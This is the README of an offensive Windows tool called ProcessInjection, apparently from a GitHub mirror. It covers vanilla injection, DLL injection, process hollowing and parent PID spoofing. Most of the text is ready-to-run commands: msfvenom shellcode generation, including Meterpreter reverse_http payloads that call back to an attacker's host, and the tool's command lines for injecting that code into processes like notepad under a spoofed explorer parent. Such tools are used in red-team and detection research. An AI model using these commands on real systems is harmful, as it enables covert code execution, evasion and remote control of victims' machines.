2019-10-19 00:24:03 -07:00
2019-08-31 23:28:54 +05:30
2019-08-31 23:28:54 +05:30
2019-08-31 11:01:49 -07:00
2019-10-19 00:24:03 -07:00

ProcessInjection


The program is designed to perform process injection. Currently the tool supports 3 process injection techniques.

1) Vanila Process Injection
2) DLL Injection
3) Process Hollowing
4) Parent PID Spoofing

Vanila Process Injection, Process Hollowing and Parent PID Spoofing Currently the program accepts shellcode in 3 formats

1) base64
2) hex
3) C

Command Line Usage

Generating shellcode in base64 format and injecting it in the target process.
msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -b ""\x00"" | base64
ProcessInjection.exe /pid:123 /path:""C:\Users\User\Desktop\shellcode.txt"" /f:base64 /t:1

Generating shellcode in hex format and injecting it in the target process.
msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -b ""\x00"" -f hex
ProcessInjection.exe /pid:123 /path:""C:\Users\User\Desktop\shellcode.txt"" /f:hex /t:1

Generating shellcode in c format and injecting it in the target process.
msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -b ""\x00"" -f c
ProcessInjection.exe /pid:123 /path:""C:\Users\User\Desktop\shellcode.txt"" /f:c /t:1

DLL Injection
Generating DLL and injecting it in the target process.
msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -b ""\x00"" -f dll > Desktop/calc.dll
ProcessInjection.exe /pid:123 /path:""C:\Users\User\Desktop\calc.dll"" /t:2

Process Hollowing
Generating shellcode in c format and injecting it in the target process.
msfvenom -p windows/meterpreter/reverse_http exitfunc=thread LHOST=<> LPORT=<> -b "\x00" -f c
ProcessInjection.exe /ppath:""C:\Windows\System32\notepad.exe"" /path:""C:\Users\User\Desktop\shellcode.txt"" /f:c /t:3

Parent PID Spoofing
Generating shellcode in c format and injecting it in the target process.
msfvenom -p windows/meterpreter/reverse_http exitfunc=thread LHOST=<> LPORT=<> -b ""\x00"" -f c
ProcessInjection.exe /ppath:""C:\Windows\System32\notepad.exe"" /path:""C:\Users\User\Desktop\shellcode.txt"" /parentproc:explorer /f:c /t:4

Blog Post

https://3xpl01tc0d3r.blogspot.com/2019/08/process-injection-part-i.html https://3xpl01tc0d3r.blogspot.com/2019/09/process-injection-part-ii.html

Contribution Credit

Renos

Credits also goes to Aaron Bray (https://github.com/ambray) for Process Hollowing code

S
Description
Automated archival mirror of github.com/3xpl01tc0d3r/ProcessInjection
Readme GPL-3.0 176 KiB
Languages
C# 100%